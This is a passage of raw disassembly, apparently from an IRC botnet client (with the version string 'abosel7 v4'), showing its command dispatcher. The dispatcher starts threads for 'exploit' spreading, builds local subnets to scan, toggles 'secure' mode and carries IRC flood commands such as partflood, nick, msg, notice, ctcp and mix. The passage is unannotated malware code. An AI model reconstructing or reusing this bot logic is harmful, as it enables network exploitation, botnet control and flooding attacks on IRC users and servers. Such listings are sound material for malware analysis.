loc_404602: ; CODE XREF: sub_401ACD+2B1Fj
cmp [ebp+var_8FF], bl
jz short loc_404613
lea eax, [ebp+var_C4]
push eax
jmp short loc_4045EF
; ---------------------------------------------------------------------------
loc_404613: ; CODE XREF: sub_401ACD+2B3Bj
mov [ebp+var_5A0], bl
loc_404619: ; CODE XREF: sub_401ACD+2B33j
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41C360
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BC9C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 19h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset sub_411BCE
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_4046CA
loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj
cmp [ebp+var_57C], ebx
jnz loc_401F75
push 32h
call dword_427080 ; Sleep
jmp short loc_4046B4
; ---------------------------------------------------------------------------
loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42BC60
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4046DB: ; CODE XREF: sub_401ACD+FFDj
; sub_401ACD+1012j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4046FB
push esi
call sub_41C159
test ax, ax
pop ecx
jz short loc_4046FB
push esi
call sub_41C159
pop ecx
jmp short loc_404701
; ---------------------------------------------------------------------------
loc_4046FB: ; CODE XREF: sub_401ACD+2C17j
; sub_401ACD+2C23j
mov ax, word_429084
loc_404701: ; CODE XREF: sub_401ACD+2C2Cj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41C360
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BC34
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409869
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B3BA
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset sub_40EF1C
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_4047D0
loc_4047BA: ; CODE XREF: sub_401ACD+2D01j
cmp [ebp+var_968], ebx
jnz loc_401F75
push 32h
call dword_427080 ; Sleep
jmp short loc_4047BA
; ---------------------------------------------------------------------------
loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BBF4
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4047E1: ; CODE XREF: sub_401ACD+FA9j
; sub_401ACD+FBEj ...
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404809
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
mov [ebp+var_AA8], ebx
test eax, eax
pop ecx
jnz short loc_404813
loc_404809: ; CODE XREF: sub_401ACD+2D23j
mov [ebp+var_AA8], 1
loc_404813: ; CODE XREF: sub_401ACD+2D3Aj
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_AA8], ebx
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
mov [ebp+var_AA0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40485A
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40485A: ; CODE XREF: sub_401ACD+2D86j
push eax
push offset dword_42BBC0
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_41A366
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_4048CE
loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj
cmp [ebp+var_A9C], ebx
jnz loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_4048B8
; ---------------------------------------------------------------------------
loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42BB84
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj
; sub_401ACD+F94j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41ABFB
loc_4048F0: ; CODE XREF: sub_401ACD+2A75j
; sub_401ACD+2A8Bj ...
add esp, 0Ch
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4048F8: ; CODE XREF: sub_401ACD+F55j
; sub_401ACD+F6Aj
push offset unk_42BB34
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_404902: ; CODE XREF: sub_401ACD+F2Bj
; sub_401ACD+F40j
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42BB24
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_404911: ; CODE XREF: sub_401ACD+F01j
; sub_401ACD+F16j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404971
push esi
call sub_41C159
cmp eax, ebx
pop ecx
jl short loc_404966
cmp eax, 3
jge short loc_404966
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40495B
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD58
push eax
call sub_41C266
add esp, 0Ch
mov [esi], bl
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj
push eax
push offset unk_42BAF8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404966: ; CODE XREF: sub_401ACD+2E58j
; sub_401ACD+2E5Dj
push eax
push offset unk_42BACC
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404971: ; CODE XREF: sub_401ACD+2E4Dj
mov edi, [ebp+arg_18]
xor esi, esi
loc_404976: ; CODE XREF: sub_401ACD+2EC5j
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404999
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404976
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_404999: ; CODE XREF: sub_401ACD+2EB9j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42CD58
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4049B3: ; CODE XREF: sub_401ACD+ED7j
; sub_401ACD+EECj
push [ebp+var_8C]
push offset dword_42CCD0
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403446
call sub_40B583
push ebx
call dword_42706C ; ExitProcess
loc_4049D9: ; CODE XREF: sub_401ACD+19B1j
push offset aGet ; "get"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404A67
cmp dword_4CF190, ebx
jz short loc_404A01
push offset dword_4CEB70
loc_4049F7: ; CODE XREF: sub_401ACD+2F98j
push offset unk_42BA90
jmp loc_404A97
; ---------------------------------------------------------------------------
loc_404A01: ; CODE XREF: sub_401ACD+2F23j
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
call dword_427214 ; getsockname
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E24]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_E24]
push eax
jmp short loc_4049F7
; ---------------------------------------------------------------------------
loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj
push edi
call dword_4CBA24 ; inet_addr
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_404A7B
push offset unk_42BA50
jmp short loc_404A97
; ---------------------------------------------------------------------------
loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j
push offset dword_4CEB70
call sub_41C890
pop ecx
mov dword_4CF190, 1
pop ecx
push edi
push offset unk_42BA24
loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj
; sub_401ACD+2FACj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_40349D
; ---------------------------------------------------------------------------
loc_404AAB: ; CODE XREF: sub_401ACD+199Cj
push [ebp+arg_8]
push offset aExploit ; "exploit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404BB1
mov eax, [ebp+var_4]
mov esi, 80h
mov [ebp+var_13E8], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F8], eax
push offset aF ; "#f"
lea eax, [ebp+var_1478]
push esi
push eax
mov [ebp+var_13F0], 1
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_14F8]
push offset aF ; "#f"
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push edi
push 10h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B9EC
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_13EC], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1508]
push ebx
push eax
push offset sub_40BB65
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_13EC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_404BA0
loc_404B8A: ; CODE XREF: sub_401ACD+30D1j
cmp [ebp+var_13E0], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_404B8A
; ---------------------------------------------------------------------------
loc_404BA0: ; CODE XREF: sub_401ACD+30BBj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B9AC
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj
push [ebp+arg_8]
push offset aReconnect_in ; "reconnect.in"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aRin ; "rin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aRinms ; "rinms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4057B7
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
push edi
push offset aLoad ; "load"
call sub_41CA50
add esp, 0Ch
test eax, eax
jnz short loc_404CB7
cmp [ebp+esi+var_80], ebx
jz short loc_404CB7
push [ebp+esi+var_80]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417E06
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42B944
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CB7
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_404CB7: ; CODE XREF: sub_401ACD+3173j
; sub_401ACD+3179j ...
push edi
push offset dword_42B940
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D21
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D21
push offset asc_42CDC8 ; " "
push offset dword_42B93C
push eax
call sub_41843B
push eax
lea eax, [ebp+var_47F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_47F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B92C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D21: ; CODE XREF: sub_401ACD+31F9j
; sub_401ACD+3204j
push edi
push offset dword_42B928
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D8B
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D8B
push offset asc_42CDC8 ; " "
push offset dword_42B93C
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4AF4]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4AF4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B914
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D8B: ; CODE XREF: sub_401ACD+3263j
; sub_401ACD+326Ej
push edi
push offset aNt ; "nt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404DF5
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DF5
push offset asc_42CDC8 ; " "
push offset dword_42B93C
push eax
call sub_41843B
push eax
lea eax, [ebp+var_48F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404DF5: ; CODE XREF: sub_401ACD+32CDj
; sub_401ACD+32D8j
push edi
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E5F
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E5F
push offset asc_42CDC8 ; " "
push offset dword_42B93C
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4FF8]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4FF8]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404E5F: ; CODE XREF: sub_401ACD+3337j
; sub_401ACD+3342j
push edi
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E9C
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404E9C
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404E9C: ; CODE XREF: sub_401ACD+33A1j
; sub_401ACD+33ACj
push edi
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404ED9
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404ED9
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404ED9: ; CODE XREF: sub_401ACD+33DEj
; sub_401ACD+33E9j
push edi
push offset aPartflood ; "partflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F1B
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F1B
push offset dword_427620
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404F1B: ; CODE XREF: sub_401ACD+341Bj
; sub_401ACD+3426j
push edi
push offset aPnick ; "pnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F92
cmp [ebp+esi+var_88], ebx
jz short loc_404F92
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B8]
push edx
push [ebp+esi+var_88]
push offset dword_42B8A4
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_17B8]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B89C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404F92: ; CODE XREF: sub_401ACD+345Dj
; sub_401ACD+3466j
push edi
push offset dword_42B890
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4050E9
cmp [ebp+esi+var_88], ebx
jz loc_4050E9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427620
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4050E9: ; CODE XREF: sub_401ACD+34D4j
; sub_401ACD+34E1j
push edi
push offset dword_42B88C
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405181
cmp [ebp+esi+var_88], ebx
jz short loc_405181
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42B864
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 24h
loc_405181: ; CODE XREF: sub_401ACD+362Bj
; sub_401ACD+3638j
push edi
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405289
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_405289
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B89C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B89C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 1F4h
idiv ecx
push edx
call dword_427080 ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B89C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_405289: ; CODE XREF: sub_401ACD+36C3j
; sub_401ACD+36D2j
push edi
push offset aChgnick ; "chgnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4052CE
lea eax, [ebp+var_180C]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_180C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B89C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4052CE: ; CODE XREF: sub_401ACD+37CBj
push edi
push offset aMsg ; "msg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4053C3
cmp [ebp+esi+var_88], ebx
jz loc_4053C3
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset dword_42B92C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B92C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B92C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4053C3: ; CODE XREF: sub_401ACD+3810j
; sub_401ACD+381Dj
push edi
push offset aNotice_0 ; "notice"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4054B8
cmp [ebp+esi+var_88], ebx
jz loc_4054B8
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4054B8: ; CODE XREF: sub_401ACD+3905j
; sub_401ACD+3912j
push edi
push offset aCtcp ; "ctcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4055D9
cmp [ebp+esi+var_88], ebx
jz loc_4055D9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B81C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B804
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7EC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7EC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4055D9: ; CODE XREF: sub_401ACD+39FAj
; sub_401ACD+3A07j
push edi
push offset aMix ; "mix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405709
cmp [ebp+esi+var_88], ebx
jz loc_405709
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B81C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_405709: ; CODE XREF: sub_401ACD+3B1Bj
; sub_401ACD+3B28j
push edi
push offset aRegister ; "register"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40574D
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_40574D
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj
; sub_401ACD+3C56j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40619B
mov [ebp+arg_18], offset dword_4D4A6C
loc_405769: ; CODE XREF: sub_401ACD+3CC0j
mov eax, [ebp+arg_18]
cmp dword ptr [eax-4], 1
jnz short loc_40577F
mov eax, [eax]
cmp eax, ebx
jbe short loc_40577F
push eax
call dword_4CBA7C ; closesocket
loc_40577F: ; CODE XREF: sub_401ACD+3CA3j
; sub_401ACD+3CA9j
add [ebp+arg_18], 210h
cmp [ebp+arg_18], offset dword_4DB18C
jl short loc_405769
cmp [ebp+var_8], ebx
jnz loc_40619B
push ebx
push [ebp+var_4]
push offset unk_42B78C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_40619B
; ---------------------------------------------------------------------------
loc_4057B7: ; CODE XREF: sub_401ACD+3151j
push [ebp+arg_8]
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aN ; "n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8]
push offset aJ ; "j"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
